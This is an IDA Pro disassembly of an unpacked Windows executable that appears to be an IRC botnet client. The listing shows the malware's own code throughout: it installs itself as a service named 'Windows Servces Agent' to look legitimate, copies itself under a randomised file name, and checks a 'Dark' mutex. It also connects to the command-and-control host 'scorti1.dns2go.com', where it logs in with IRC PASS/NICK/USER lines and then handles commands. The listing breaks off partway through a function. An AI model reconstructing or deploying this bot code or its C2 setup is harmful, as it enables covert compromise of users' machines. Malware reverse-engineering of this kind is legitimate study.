;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	FAAD6BFCF7E176497CF238BEEA027934

; File Name   :	u:\work\faad6bfcf7e176497cf238beea027934_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DD000 ( 905216.)
; Section size in file		: 000DD000 ( 905216.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
___		segment	para public 'DATA' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_418359+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindowsServces ; "Windows Servces Agent"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CAF28
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CAF98
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CAED8


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CAF50
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427238[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:00416643p

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41B4D5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41B202
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41B11A
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41B0B1
		push	edi
		call	sub_41B05B
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43DEBC
		call	dword_4CB00C
		call	sub_40B2BF
		call	dword_4CAECC
		call	dword_4CAECC
		mov	ebx, dword_427078
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_43D128
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		nop
		call	near ptr 2660A7Ah
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	near ptr 2660000h
		nop
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		nop
		call	near ptr 2650A41h
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427068
		call	esi
		push	[ebp+var_C]
		call	esi


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43D120
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		nop
		call	near ptr 77E75CB5h
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418684
		pop	ecx
		mov	dword_4CACB0, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270A8
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CACB4, eax
		call	esi
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_409B12
		push	2
		call	dword_4CB020
		push	7530h
		push	offset aDark	; "Dark"
		push	ebx
		push	ebx
		call	near ptr 2680163h
		nop
		push	eax
		nop
		call	near ptr 2680110h
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		call	near ptr 77E75CB5h
		nop


loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CAEE4
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		nop
		call	near ptr 2660A7Ah
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		call	near ptr 2680000h
		nop
		push	eax
		call	near ptr 2660000h
		nop
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41B9D1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_4293C4
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41B900
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_429108
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C


loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429108[edi], dl
		inc	edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379


loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_4293BC
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 2670ECEh
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		call	near ptr 2670D76h
		nop


loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427090
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		nop
		call	near ptr 26709FBh
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C


loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		call	near ptr 2660F2Bh
		nop
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------


loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_418293
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		call	near ptr 2670D76h
		nop
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset dword_43D128
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		nop
		call	near ptr 26709B6h
		push	eax
		push	esi
		push	100000h
		nop
		call	near ptr 2670358h
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_4293B0
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 2650A41h
		nop
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		call	near ptr 2660F2Bh
		nop
		push	dword ptr [ebp-20h]
		mov	esi, dword_427068
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CAECC
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DB294, 2
		jle	short loc_401562
		mov	eax, dword_4DB298
		push	dword ptr [eax+4]
		call	sub_41B779
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 2680110h
		push	esi
		nop
		call	near ptr 26507ADh
		mov	eax, dword_4DB298
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		call	near ptr 2660F2Bh
		nop
		mov	eax, dword_4DB298
		push	dword ptr [eax+8]
		nop
		call	near ptr 267025Ch


loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CB044, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx


loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_429394
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B0F6
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	0B80h
		push	ebx
		push	offset dword_43D130
		call	sub_41B590
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_429370
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_42707C
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset dword_419A00
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[esi], eax
		jnz	short loc_401622
		nop
		call	near ptr 26709FBh
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429330
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	2
		call	sub_40B33E
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_429304
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[esi], eax
		jnz	short loc_40169A
		nop
		call	near ptr 26709FBh
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_4292D0
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41B8E2
		push	7Fh
		and	eax, 3
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CACBC
		mov	dword_4CAE28, eax
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CAD3C
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CAE0C, eax
		call	sub_41B5F0
		push	3Fh
		mov	esi, offset dword_4CAD7C
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword_4CAE10, ebx


loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx


loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CACB8
		mov	dword_4CAE24, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CAE24, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]


loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		call	near ptr 2660F2Bh
		nop
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CACBC
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CAE0C, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E4, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E4
		push	offset dword_4CACBC
		call	sub_41B5F0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CAE0C, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B2BF


loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CAECC


loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+662Ao

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CAF74
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40AAF9
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40B08D
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43DEC8
		push	edi
		push	eax
		call	sub_41B5F0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CAFF4
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43DEBC[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CB00C
		call	sub_40AB22
		push	7D0h


loc_4018CD:				; CODE XREF: sub_4017ED+146j
		nop
		call	near ptr 2660F2Bh
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_4293CC
		call	sub_415220
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CB00C
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------


loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------


loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	2
		pop	eax


loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CAE20, bl
		jz	short loc_40199A
		push	offset byte_4CAE20
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409A2C
		add	esp, 0Ch


loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CB00C
		push	1388h
		call	near ptr 2660F2Bh
		nop


loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax


loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF8C
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_417F7F
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]


loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi


loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		nop
		call	near ptr 2660F2Bh
		jmp	short loc_401A58
; ---------------------------------------------------------------------------


loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------


loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------


loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2


loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_5D88	= byte ptr -5D88h
var_5988	= byte ptr -5988h
var_5588	= byte ptr -5588h
var_53F8	= byte ptr -53F8h
var_51F8	= byte ptr -51F8h
var_50F4	= byte ptr -50F4h
var_4FF4	= byte ptr -4FF4h
var_4EF0	= byte ptr -4EF0h
var_4DF0	= byte ptr -4DF0h
var_4CF0	= byte ptr -4CF0h
var_4BF0	= byte ptr -4BF0h
var_4AF0	= byte ptr -4AF0h
var_48F0	= byte ptr -48F0h
var_47EC	= byte ptr -47ECh
var_46EC	= byte ptr -46ECh
var_45EC	= byte ptr -45ECh
var_4588	= byte ptr -4588h
var_4488	= byte ptr -4488h
var_4288	= byte ptr -4288h
var_4188	= byte ptr -4188h
var_4088	= byte ptr -4088h
var_3F88	= dword	ptr -3F88h
var_3F84	= byte ptr -3F84h
var_3F04	= byte ptr -3F04h
var_3E00	= byte ptr -3E00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= dword	ptr -3CE8h
var_3CE4	= byte ptr -3CE4h
var_3C64	= byte ptr -3C64h
var_3BE4	= byte ptr -3BE4h
var_3B64	= byte ptr -3B64h
var_3AE4	= byte ptr -3AE4h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= dword	ptr -3A58h
var_3A54	= byte ptr -3A54h
var_37CD	= byte ptr -37CDh
var_37CC	= byte ptr -37CCh
var_36C8	= dword	ptr -36C8h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B4	= dword	ptr -36B4h
var_36AC	= dword	ptr -36ACh
var_36A8	= dword	ptr -36A8h
var_36A4	= byte ptr -36A4h
var_3624	= byte ptr -3624h
var_35A4	= byte ptr -35A4h
var_3524	= byte ptr -3524h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= dword	ptr -3494h
var_3490	= byte ptr -3490h
var_3410	= byte ptr -3410h
var_3390	= byte ptr -3390h
var_3310	= byte ptr -3310h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= dword	ptr -3280h
var_327C	= byte ptr -327Ch
var_31FC	= byte ptr -31FCh
var_317C	= byte ptr -317Ch
var_30FC	= byte ptr -30FCh
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= dword	ptr -306Ch
var_3068	= byte ptr -3068h
var_2FE8	= byte ptr -2FE8h
var_2F68	= byte ptr -2F68h
var_2EE8	= byte ptr -2EE8h
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= dword	ptr -2E5Ch
var_2E58	= byte ptr -2E58h
var_2D54	= dword	ptr -2D54h
var_2D50	= byte ptr -2D50h
var_2C4C	= byte ptr -2C4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= dword	ptr -2B40h
var_2B3C	= byte ptr -2B3Ch
